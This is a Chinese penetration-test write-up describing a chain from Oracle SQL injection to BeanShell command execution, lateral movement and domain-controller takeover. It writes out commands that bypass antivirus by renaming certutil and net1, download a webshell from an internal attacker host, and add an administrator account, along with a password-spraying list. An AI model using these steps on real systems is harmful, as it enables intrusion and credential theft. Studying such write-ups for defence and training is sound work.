声明:该公众号大部分文章来自作者日常学习笔记,未经授权,严禁转载,如需转载,联系洪椒攻防实验室公众号。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
0x00 前言
在某个平平无奇的下午,办公室吹着空调喝着同事请的大桶果茶,美美的感受下午茶的美好。
同事的一个消息打破了这个宁静的下午。
一个非常明显的Oracle的注入,第一想法肯定是注账号密码,话不多说,玩的就是真实,开干!!
0x01 进入正题
同事说当前数据库有900张表,我先按照常规操作先跑一下表名,看用户名表会不会跑出来,花了四五分钟跑了大概50张表,有三个user表,其中一个成功跑出来md5加密的密码,我心想这么简单,这不是有手就行?你们没跑出来? cmd5一解密我发现事情并不简单,因为密码是1,很明显不是真实密码(这里不得不说一句cmd5是YYDS,somd5连1都解不出来):
在跑到100张表的时候,我感觉不对劲了,难不成真有900张表?我跑一天也跑不出来啊?这时候想到了一个简单的办法,既然我们要找用户表,总有密码字段吧?
直接利用sqlmap的--sql-shell 功能查询所有包含PASSWORD字段的表名就好了(原谅大学学的SQL全还给老师了,直接问GPT)。
得到命令:
SELECT table_name FROM dba_tab_columns WHERE owner = 'DB1' AND column_name = 'PASSWORD' ORDER BY table_name;
成功查询到所有包含密码字段的表,找到了用户表跑出了一部分用户的密码:
用户太多了,没有跑出全部的,但是这时候已经可以用跑出来的部分账号密码登陆系统,但是发现功能点比较少,文件上传也是使用的php的fckeditor,无法绕过上传:
但是查询通讯录知道了一个管理员用户是root和对应的邮箱,并非常规的[email protected]。
使用sqlmap的--sql-shell功能直接查询DB1库中的[email protected]得到密码:
登陆管理员账号后发现系统功能里面有个系统命令功能可以使用beanshell执行系统命令。:
眼熟.jpg,这跟用友NC太像了。
至此已经拿下该服务器,下一步就是进入内网后渗透了。
0x02 踩坑
坑1:
在这个beanshell执行系统命令的时候,刚开始遇到了一些坑,跟用友NC bsh.servlet.BshServlet
的远程代码执行一样的坑,执行一些命令时经常会报错。执行 whoami 正常:
dir、chdir等等都会报错,导致想看其他目录时都会报错。
但是通过调用系统本地cmd.exe进行命令执行就不会报错了:
坑2:
在查看其他目录、文件含路径的时候,单斜杠无法解析,需要\才能成功获取对应的文件。cmd.exe /c dir e:\xxx\dddd\bin
报错
cmd.exe /c dir e:\\portal\\portal422\\bin
正常输出
坑3:
sql注入的时候已经知道了系统是Windows2008server和有火绒。到这其实就可以使用echo蚁剑马或者是certutil直接远程下载cs上线,certutil下载文件会被拦截,使用以下命令即可绕过限制进行文件下载:
copy c:\windows\system32\certutil.exe a.exe
a.exe -urlcache -split -f http://192.168.xx.xx:7000/gdut.txt
下载哥斯拉马成功连接webshell,因为是2008的系统,直接抓明文密码,但是因为有火绒,无法直接抓。
前面已经知道了administrator权限,还是利用copy的方法进行绕过火绒添加用户:
copy c:\windows\system32\net1.exe aaa.txt
aaa.txt user admin Aa123456@@@ /add
开启本地代理直接远程上去把火绒退掉。
再上线cs抓密码就可以了。
0x03 内网遨游
这时候已经拿到管理员的密码,以及知晓密码规则,直接简单构造密码字典对内网进行密码喷洒
domain@2019
domain@2020
domain@2021
domain@2022
domain@2023
domain@,2023
domain@,2022
domain@,2021
domain@,2020
................................ 好家伙,直接喷出来十多台服务器:
然后就是一堆常规操作,登服务器、翻浏览器、配置文件等等。
在所有东西翻完的时候,使用fscan不加参数全部梭哈的时候,惊喜的发现NetBios识别到了192.168.x.1/24 段有域,但是这个段梭3389的时候没有梭出来成功的。
这时候我对192.168.x.1/24 单独进行了一次-m rdp -pwdf pwd.txt 果然梭出来了一台服务器的3389,并且是在域内的,最惊喜的这台服务器居然是Windows2008(你们懂的),成功上线cs
运行nslookup target.com得到了域控地址。这时候,经常打域的师傅们都知道,只要有一台机器在域内,这个域离拿下就成功一半了,直接查询RDP历史登陆凭据。
很惊喜的发现这台机器中保存了一个历史凭据,嘿嘿,会不会是域控的?
果然是域控的密码,直接远程3389上去:
至此整个单位全部拿下,直接出局。
如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放
0x04 总结
整个攻击过程总体来说不算太难,但是比较考验细心,一环扣一环,还算比较的顺利,完美拿下域控。